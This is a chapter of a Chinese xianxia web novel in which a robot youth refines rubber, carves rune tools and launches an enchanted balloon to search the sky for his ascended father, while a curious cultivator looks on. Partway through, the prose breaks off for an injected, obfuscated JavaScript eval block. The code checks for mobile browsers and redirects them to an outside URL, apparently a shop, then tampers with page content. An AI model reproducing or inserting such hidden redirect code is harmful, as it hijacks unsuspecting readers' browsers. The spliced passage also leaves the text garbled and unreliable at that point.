云虚谷里多了一个人。 这对源艾来说没有什么不同。 因为金丹修士不需要睡眠,吃饭也只需一颗辟谷丹。从某种层面来说,有点类似于会动的仙人掌,虽然会老死,但平时不用照顾,偶尔浇点水放着就可以。 而且这几天,房间里的紧急按钮没有响过,一楼还有人类活动的迹象,说明那位新来的老爷爷还活着。 那就不用管了。 源艾还有更重要的任务要做。现在,他正坐在地上,面前摆着一口金属炼丹炉,旁边堆满了形形色色的瓶瓶罐罐。 他在尝试制造一种类似于橡胶的材料。 之前说过,如果要飞升,无非有三条路:其一是走人类修士的飞升之路,给自己加装上灵根从头开始修炼。这条路,父亲已经试过无数次都没有成功,源艾也依旧会继续尝试下去。 其二,是去探索修真界是否存在其他飞升的可能,这也被他提上了日程; 至于第三条,便是源艾如今正在尝试的方向,能不能通过物理方法,直接向上抵达父亲所在的仙界。 要做到这一步,首先得搞清楚蓝天之上究竟是什么。最佳的办法是用射电望远镜,它能够无视大气和云层的遮蔽,收集天体的射电波。当然,前提是这个世界的太阳和月亮真的是天体。 射电望远镜的搭建要求非常高,且对望远镜的曲面精度要求苛刻。后者对源艾来说没什么问题,但他手头缺少足够的材料,更没有相关设备。 毕竟他的父亲是做软件的程序员,不是做硬件的工科生。至于源艾自己,作为S级机器人,数据库中虽然储存着海量的制造知识,但只要父亲不下指令,他是不会主动去做的。 代价就是,源艾只能从头开始。 他决定退而求其次,先做个气象气球,借助阵法辅助,让气球升空,看看能否突破这个世界的大气层,或许还能带回些有用的数据。等后续条件成熟,再考虑射电望远镜、甚至发射空间望远镜的事。 那么就得从橡胶的提炼开始。 这个世界还没有橡胶树,却有着千奇百怪的灵植。 源艾选中的是一种名为“白胶木”的灵树,和橡胶树类似,树干里会流出的乳白色胶液,平日里常被用作粘合法器的胶水。源艾要做的,就是用它提炼出既能容纳气体、又能承载阵法的材料。 先在炼丹炉里放入金属模具,再把从库房里找到的白胶乳和用作凝固剂的醋酸倒入模具里。 丹炉底下的加热阵法自动启动,开始蒸发炉内的水分。趁着间隙,源艾又陆陆续续往炉子里投入了提高强度的硫磺,加快灵气交互速率的灵液…… 不多时,炉盖被轻轻掀开,白色的水蒸气腾腾而起。源艾探头看了一眼,一片片乳白色的薄片整齐地躺在炉底。 源艾还是用熟悉的“橡胶片”给它命名。 他将橡胶片取出,按厚薄分门别类地摆好。之前的模具是他连夜赶制的,主要是为了测试不同厚度的橡胶片承受阵纹的耐受度。 那么,就从第一片开始。源艾刚准备动手绘制符文,就听到门外传来敲门声。 “源公子,我可以进来吗?”彦无烛那特有的、带着几分慵懒磁性的嗓音隔着门扉传来。 源艾站起身,过去拉开门。彦无烛正站在门外。 源艾:“您请进。” 他说完却发现彦无烛没有动,反而倚着门框,凤眸在他身上流转:“源公子觉得今天我如何?” 源艾上下打量了一眼。相较于之前,彦无烛依旧是一袭素净的白衣,料子的质地却更为轻盈飘逸,形制也略有差别。原先随意披散的墨发,此刻一丝不苟地绾成了道髻,一根白玉簪子斜斜的插在了里面。那双薄唇微抿,不笑时自带几分疏离,浑身上下沾满了出尘的仙味。 源艾夸赞:“很不错,很有精神!” 他说完,他便感到彦无烛的目光如有实质般停驻在自己身上。 源艾露出了肉眼可见的疑惑:“您还有别的事情吗?” 彦无烛:“没有了。” 源艾总感觉对方的语气有些奇怪,可再看过去时,那张俊脸上依旧是一副淡淡的表情。 “没有就好。您回去歇息吧。爬几十层楼梯也累了吧。”源艾体谅道。 “……修真之人的身体素质还没有差到这种地步。”彦无烛可不想刚上来就被赶下去,他漾开了笑,“只是许久未见公子身影,你在做什么?” 这几日,除了初入谷时那一面,他确实未再见过源艾。这云虚谷里又有可以阻挡神识的阵法,他索性就直接上来看看。 刚刚他已然瞥见房间内有一尊丹炉,地上还散落着一些乳白色的奇异薄片。 源艾权衡了一下从头讲解的必要性,最终选择了最为简洁明了的回答:“在忙自己的事情。” 彦无烛听出源艾的敷衍,但也没有急着离开,而是施施然踱步入内,向四周打量。 这段时间,他也差不多把这座塔里可供活动的区域都看了一遍,发现这里简朴的要命。与云虚仙尊修真第一人的赫赫威名相比,着实格格不入。 莫非云虚仙尊摒弃外物、日夜苦修?不过也是,也只有这般心无旁骛的勤勉修行,可以达到如此成就吧。 “你这是准备做什么?”彦无烛的目光最终落在了白色薄片和旁边的几把黑色小刀上,前者他不知道是什么,但是后者他认识,“这是天机刻?” 天机刻是阵纹师们镌刻阵纹的专属法器,虽然彦无烛不精此道,但枯荣道里也有一位痴迷此道的阵纹大师。那个古怪脾气的老头平日里最大的乐趣,便是搜罗天下间各式各样的天机刻。久而久之,彦无烛也略知一二。 他弯腰从地上拿起了一把。入手微沉,带着一丝冰凉的触感。纯黑色的刀呈哑光色,刀头细如毫发。与寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353109|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常所见的天机刻相比,这柄小刀的刀柄圆圆胖胖的,刀尾还有一圈圈细密的螺旋纹路。 彦无烛咦了一声:“这刀柄竟然是用玄坞石造的。” 玄坞石是一种非常罕见的石头,其特点是可以储存并稳定释放灵气。一般来说,像源艾这般没有灵气的天残是绝无可能绘制阵纹的,因为阵纹的镌刻过程,需要持续注入灵气。但是这把天机刻却用玄坞石巧妙地规避了这点。 怪不得这天机刻才如此沉,因为刀柄同笔杆储墨一样,存了研磨成粉的灵石。 精妙绝伦的构思。彦无烛来了兴趣:“如此珍品,公子是从何处得的?” 这天机刻设计精巧,用料考究,加之使用者身份特殊,定是某位炼器大师为其量身定制的。他翻过来看了眼刀柄底部,那里刻着几枚陌生符号。 源艾在旁边看着他把玩刀,也没有出声,直到对方问起,才回答:“是我自己造的。” 彦无烛微微蹙眉,但也没有再追问,只问:“这个是什么?” 通常,炼器者都会在作品留下印记或名号。不过他刚才找了一圈没有看到,也就只有在底部有一些类似于字符的图案。 源艾:“这是它的版本号,v9.2。” 他见彦无烛似乎有些迷茫,又耐心地补充解释了一句:“这说明它是第九代产品,‘.2’表示它的刀头厚度是两毫米。顺便一提,这个不叫天机刻,叫阵纹雕刻刀极细。” 彦无烛:? “我自己取的名字。”源艾指了指地上另外几柄与手中之物造型相似,只是在粗细上略有差异的小刀,“剩下的分别叫阵纹雕刻刀微细、中细、细和普通。” 彦无烛:…… 虽然没有听懂源艾说的“版本号”是什么,但是他听懂了刚才那句。 说真的,这命名方式也太朴素了。 源艾见他沉默不语,便问:“您还有别的事情吗?我要用极细。” 彦无烛默然地把极细还给了他。不过他也没有走,而是等在原地想看看源艾到底要做什么。 少年盘腿坐在了地上,拿起了一片白色薄片,另一只手稳稳地捏住了刻刀,在刀尖触及薄片的瞬间,整个人的气质浑然一变。 如果说此前的源艾看起来就像是个不谙世事的少年,现在则却多了一分凌厉。 彦无烛的目光不由自主地追随着那双手。少年的指节分明,肤色白皙,腕部微动间,刀尖便行云流水般在薄片上游走起来,随着轻微的“沙沙”声,一道道细纹出现在了薄片上。 他低垂着眼,长睫随着细微的动作轻轻颤动着,在他脸上投下一小片浅淡的阴影。 也不知道他这是画着玩还是真的在刻阵。 正在彦无烛思考间,源艾已放下刻刀。 这是好了? 彦无烛念头方起,便见那原本平平无奇的白色薄片,中央部分竟缓缓鼓胀起来,转瞬间便化作了一个拳头大小的浑圆球体。紧接着,球体内部亮起了一层柔和的淡黄色光,像是孔明灯般晃晃悠悠地向上漂浮。 源艾眼疾手快伸出双手,把它捧在了掌心。 彦无烛:“这是什么?” “这是可以飞上去的气球。”源艾仔细检查气球上阵纹的情况,“我要让它飞上去,看看父亲在不在天上。” 彦无烛眉梢微挑。不愧是被仙尊护在手心里的孩子,天真得连最浅显的道理都不懂。 他说:“飞升,意为超脱此界,跃入仙界。他不在天上,也不在你能触及的地方。” 源艾抬头:“您怎么知道?” “此为规则。” “那您知道这天上有什么?” “苍穹之上,无边无际,亦无物。” “您去过?” 彦无烛摇了摇头:“没有。” “那您怎么知道天上什么都没有?” 彦无烛凤眸里闪过一丝讶异,旋即这丝讶异化为了一抹极淡的、玩味的笑意。确实,没有人会闲着没事干往天上去,自然也不会有人想天上到底有什么。 他第一次对一个凡人要做的事好奇起来了:“即便是大乘期修士,也无法无止境地向上飞行。恐怕只大罗金仙才能做到。若真有飞升者停留在天空之上,那千万年来,总该有人重返地面才对。” “您说的也有道理。”源艾的声音响起,“但在与不在,我总要试过才行。” 少年那双澄澈的眼睛里满是认真。